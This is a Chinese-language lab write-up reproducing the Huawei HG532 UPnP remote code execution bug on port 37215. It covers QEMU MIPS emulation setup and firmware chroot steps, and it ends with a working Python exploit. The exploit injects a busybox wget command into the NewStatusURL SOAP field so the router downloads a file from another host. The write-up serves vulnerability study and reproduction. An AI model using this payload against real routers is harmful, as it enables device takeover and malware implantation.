一、基本資訊:
定制版的華為HG532具有遠端執行代碼漏洞。 經過身份驗證的攻擊者可以将惡意資料包發送到端口37215,以發起攻擊。 成功的利用可能導緻遠端執行任意代碼。該漏洞payload由蜜罐所捕獲發現。利用原理是利用upnp服務中的注入漏洞實作任意指令執行。
二、配置複現環境:
1. 安裝qemu
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
2. 網絡配置
安裝網絡配置工具:
apt-get install bridge-utils uml-utilities
修改 ubuntu主機網絡配置,将ubuntu主機系統中的網絡接口配置檔案 /etc/network/interfaces 修改為如下内容:
建立QEMU的網絡接口啟動腳本(/etc/qemu-ifup)并儲存為如下内容:
啟動橋接網絡
賦予可執行權限
sudo chmod a+x /etc/qemu-ifup
重新開機網絡服務,使配置生效
sudo /etc/init.d/networking restart
關閉ens33,啟動橋接網絡br0
sudo ifdown eth0
sudo ifup br0
執行到這裡時,系統提示eh0并未啟動。這裡并不影響
3. 加載debian鏡像檔案
從https://people.debian.org/~aurel32/qemu/mips/下載下傳對應的debian mips qemu鏡像
其他的文章裡有各種下載下傳qemu鏡像的位址,試了幾個下載下傳都不好用,各種坑
我下載下傳的是debian_squeeze_mips_standard.qcow2和vmlinux-2.6.32-5-4kc-malta。
啟動qemu運作剛鏡像:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap
可以看到一個qemu虛拟機,用root/root登入進去:
看一下網絡接口:
将nano /etc/network/interfaces 檔案中的eth0改為eth1:
再用ifup eth1 将eth1啟起來,運氣好的話此時網絡已經好了。
然而這裡可能一直運氣不好,記錄:嘗試過重新開機、重新開機網絡、重新開機接口。給qemu配置新的網絡192.168.0.127 ,可以實作主機和虛拟機之間互通
~ # ifconfig eth1 192.168.0.127 netmask 255.255.255.0
~ # route add default gw 192.168.0.1
直接操作虛拟機顯然比較麻煩,在ubuntu上搞個SSH 連進來,ssh root@虛拟機ip
将之前解壓的固件包拷貝到虛拟機裡面:
scp -r ./squashfs-root root@虛拟機ip:/root/
完成搭建路由器固件運作的環境。
三、複現漏洞:
1. 定位漏洞點
第一個問題是怎麼讓路由器裡的服務啟起來,我們也不知道是哪個檔案會去處理80端口過來的請求,先看下checkpoint[https://research.checkpoint.com/2017/good-zero-day-skiddie/]報告裡的payload
注意其中的關鍵字:ctrlt和DeviceUpgrade_1,通過**grep -r [keywords]*指令檢視有哪些檔案包含這兩個詞語:
再找下端口号37215所在檔案。
2. 運作漏洞點服務
要運作upnp和mic這兩個檔案,需要先切換根目錄到路由器檔案系統中
切換到路由器檔案系統指令:
chroot /root/squashfs-root /bin/sh
或者執行qemu中squashfs-root檔案夾中執行
chroot . sh
達到切換固件跟錄下的目的。結果如下圖所示:
3. 驗證漏洞
這時測試一下路由器的37215端口,
在ubantu上鍵入指令sudo nc -vlp 80 監聽本機80端口,接下來運作exp腳本驗證漏洞。
四、EXP 腳本
根據披露的payload,構造EXP 腳本如下:
exp代碼如下:
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 192.168.0.126 -l /tmp/1 -r /1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.0.127:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)